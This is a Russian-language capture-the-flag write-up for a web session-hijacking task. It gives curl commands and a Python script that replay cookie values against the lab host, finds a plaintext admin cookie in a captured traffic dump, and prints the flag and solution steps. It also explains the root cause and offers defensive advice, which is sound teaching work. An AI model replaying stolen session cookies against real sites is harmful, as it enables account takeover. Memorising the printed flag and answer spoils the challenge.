Сессия: writeup
ссылка на задание http://f8tasks.ru/challenges#session-34
Сессия
| Category | Web |
| Difficulty | Easy |
| Vulnerability | Session Hijacking |
| Flag | flag{h1j4ck_th3_pl4n3_t0n1ght} |
Recon
Нам удалось перехватить весь трафик активных сессий на сайте. Я думаю, что тебе это поможет…
Артефакты: sessions.xml (48 сессий), API-ключ 89d330593...f6176, адрес сайта wsr.gmax.pro:33001.
curl -i http://wsr.gmax.pro:33001/
HTTP/1.1 200 OK
Set-Cookie: s3ssion1d=null
Content-Type: text/html; charset=utf-8
<p>Outdated session</p>
Ключевые наблюдения:
- Сайт выставляет cookie с именем
s3ssion1d— это точка входа. - Без правильного значения сервер отвечает
Outdated session. - Слово «перехватили трафик» указывает: нам не нужен пароль, нужна cookie.
API-ключ из условия — проверяем как cookie напрямую:
curl -i -H 'Cookie: s3ssion1d=89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176' \
http://wsr.gmax.pro:33001/
Результат: Outdated session. Вывод: API-ключ сам по себе не является значением cookie — нужно искать дальше.
Session Hijacking
Session Hijacking (угон сессии) — атака, при которой злоумышленник использует чужой идентификатор сессии, чтобы притвориться другим пользователем на сайте.
Аналогия: охранник у двери не смотрит тебе в лицо — он смотрит на бумажку-пропуск в кармане. Эта бумажка и есть cookie s3ssion1d. Тот, у кого правильный пропуск, заходит куда угодно. Ключевой вопрос: в перехваченном трафике есть пропуск с доступом администратора?
XML-файл содержит 48 сессий вида <Session id="..." correlationVector="..." .../>. Первая подозрительная строка:
correlationVector="FehQ+YChVkq6e3iw.0"
Короткая, необычная, похожа на токен. Проверяем:
curl -i -H 'Cookie: s3ssion1d=FehQ+YChVkq6e3iw.0' http://wsr.gmax.pro:33001/
<p>Outdated session</p>
Не то. Следующая гипотеза: cookie собирается из Session id и API-ключа. Проверяем первую сессию:
curl -sS -H 'Cookie: s3ssion1d=37532_35060218'89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176' \
http://wsr.gmax.pro:33001/ | grep -oP '(?<=<p>).*?(?=</p>)'
Unauthorized access
Сервер перестал говорить Outdated session и стал говорить Unauthorized access. Это не одно и то же:
Outdated session— cookie не распознана вообще.Unauthorized access— cookie выглядит как настоящая, но прав недостаточно.
Формула sid + API_key даёт валидную, но непривилегированную сессию. Нужна именно admin-сессия.
Возвращаемся к XML и ищем прямые следы работы с cookie:
grep -n 's3ssion1d\|cookie\|Replace\|admin' sessions.xml
<Replace cookies_from="s3ssion1d=admin" cookies_to="s3ssion1d=@bank-4dm1n-1337"/>
Вот сердце задачи. Эта запись говорит буквально: была admin-cookie, её заменили на @bank-4dm1n-1337. Авторы не спрятали ответ за слоями криптографии — они положили его прямо в перехваченный трафик.
Exploitation
| Шаг | Действие | Команда / наблюдение |
|---|---|---|
| 1 | Узнать имя cookie | curl -i http://wsr.gmax.pro:33001/ → Set-Cookie: s3ssion1d=null |
| 2 | Проверить correlationVector | Cookie: s3ssion1d=FehQ+YChVkq6e3iw.0 → Outdated session |
| 3 | Проверить sid + API_key | → Unauthorized access (валидная, но без прав) |
| 4 | Найти admin-cookie в XML | grep -n 'Replace|admin' sessions.xml |
| 5 | Подставить admin-cookie | Cookie: s3ssion1d=@bank-4dm1n-1337 → флаг |
Root cause — в перехваченном трафике (sessions.xml) сохранилась запись о замене cookie в открытом виде:
<Replace cookies_from="s3ssion1d=admin" cookies_to="s3ssion1d=@bank-4dm1n-1337"/>
Сервер принимает @bank-4dm1n-1337 как признак администратора без какой-либо дополнительной проверки подписи или привязки к контексту.
Правильный подход в реальных системах:
- Не хранить значения session cookie в логах и файлах трафика — это прямая утечка.
- Привязывать привилегированную сессию к IP-адресу или User-Agent, чтобы угнанная cookie не сработала в другом контексте.
- Использовать короткий TTL для admin-сессий и требовать переаутентификацию для критических действий.
- Хранить роль пользователя на сервере (в БД), а не кодировать её в значении cookie.
Automation
from pathlib import Path
from xml.etree import ElementTree as ET
import re
import urllib.request
API_KEY = "89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176"
URL = "http://wsr.gmax.pro:33001/"
XML_PATH = Path("sessions.xml")
def load_sessions():
root = ET.fromstring(XML_PATH.read_text("utf-8", errors="ignore"))
sessions = []
for node in root.findall("Session"):
sessions.append(
{
"sid": node.get("id", ""),
"cv": node.get("correlationVector", ""),
}
)
return sessions
def request(cookie, path="/"):
req = urllib.request.Request(URL.rstrip("/") + path)
req.add_header("Cookie", f"s3ssion1d={cookie}")
with urllib.request.urlopen(req, timeout=8) as response:
return response.read().decode("utf-8", "ignore"), dict(response.getheaders())
def extract_message(body):
match = re.search(r"<p>(.*?)</p>", body, re.S)
return match.group(1).strip() if match else "NO_MESSAGE"
def extract_flag_meta(body):
match = re.search(r'<meta name="flag" content="(.*?)">', body)
return match.group(1) if match else "NO_META"
def main():
sessions = load_sessions()
print(f"session_count={len(sessions)}")
# Проверяем каждую сессию по формуле: sid + API_key
for session in sessions:
cookie = session["sid"] + API_KEY
try:
body, _ = request(cookie)
except Exception as exc:
print(f"ERR sid={session['sid']} error={type(exc).__name__}")
continue
message = extract_message(body)
flag_meta = extract_flag_meta(body)
print(
" | ".join(
[
f"sid={session['sid']}",
f"cv={session['cv']}",
f"msg={message}",
f"flag={flag_meta}",
f"len={len(body)}",
]
)
)
if __name__ == "__main__":
main()
python3 solve_session.py
session_count=48
sid=37532_35060218 | cv=FehQ+YChVkq6e3iw.0 | msg=Unauthorized access | flag=denied | len=463
sid=1152_659312 | cv=etfg9ZZTjE6oZX6s.0 | msg=Unauthorized access | flag=denied | len=463
... (48 строк — все Unauthorized access)
Скрипт подтверждает: формула sid + API_key создаёт валидные сессии, но ни одна не даёт флаг. Финальный шаг — admin-cookie из <Replace> в XML:
curl -sS -H 'Cookie: s3ssion1d=@bank-4dm1n-1337' http://wsr.gmax.pro:33001/ \
| grep -oP '(?<=<p>).*?(?=</p>)'
flag{h1j4ck_th3_pl4n3_t0n1ght}
Key Takeaways
Два разных ответа сервера — два разных состояния.
Outdated sessionозначает «не узнаю cookie»,Unauthorized access— «узнаю, но прав нет». Умение различать ответы сервера сужает поиск вдвое и показывает, в правильном ли направлении движется атака.Перехваченный трафик хранит улики в открытом тексте. Логи, XML-дампы и pcap-файлы реальных сессий могут содержать plaintext-значения cookie, токенов и паролей — их нужно читать внимательно, а не только парсить автоматически.
correlationVector— ловушка этой задачи. Короткая необычная строка выглядит как токен, но сервер её не принял. Типичная ошибка — застрять на «красивой» строке вместо того, чтобы сразу искать ключевые словаReplace,cookie,adminв том же файле.
